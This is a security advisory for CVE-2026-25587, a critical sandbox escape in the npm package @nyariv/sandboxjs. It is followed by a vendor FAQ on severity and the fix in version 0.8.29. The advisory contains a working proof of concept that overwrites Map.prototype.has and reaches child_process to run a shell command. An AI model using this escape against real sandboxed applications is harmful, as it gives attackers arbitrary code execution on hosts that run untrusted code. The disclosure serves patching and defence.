CVE-2026-25587

As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.

Details

This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:

let a = Map.prototype;
console.log(a) // undefined

const a = Map.prototype;
console.log(a) // Object [Map] {}

let a = 123;
console.log(a) // 123

const a = 123;
console.log(a) // 123

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const m = Map.prototype;
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;

sb.compile(payload)().run();

Able to set Map.prototype.has -> RCE

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-25587 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.29); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25587? CVE-2026-25587 is a critical-severity code injection vulnerability in @nyariv/sandboxjs (npm), affecting versions <= 0.8.28. It is fixed in 0.8.29. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-25587? CVE-2026-25587 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @nyariv/sandboxjs are affected by CVE-2026-25587? @nyariv/sandboxjs (npm) versions <= 0.8.28 is affected.
4. Is there a fix for CVE-2026-25587? Yes. CVE-2026-25587 is fixed in 0.8.29. Upgrade to this version or later.
5. Is CVE-2026-25587 exploitable, and should I be worried? Whether CVE-2026-25587 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25587 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25587? Upgrade @nyariv/sandboxjs to 0.8.29 or later.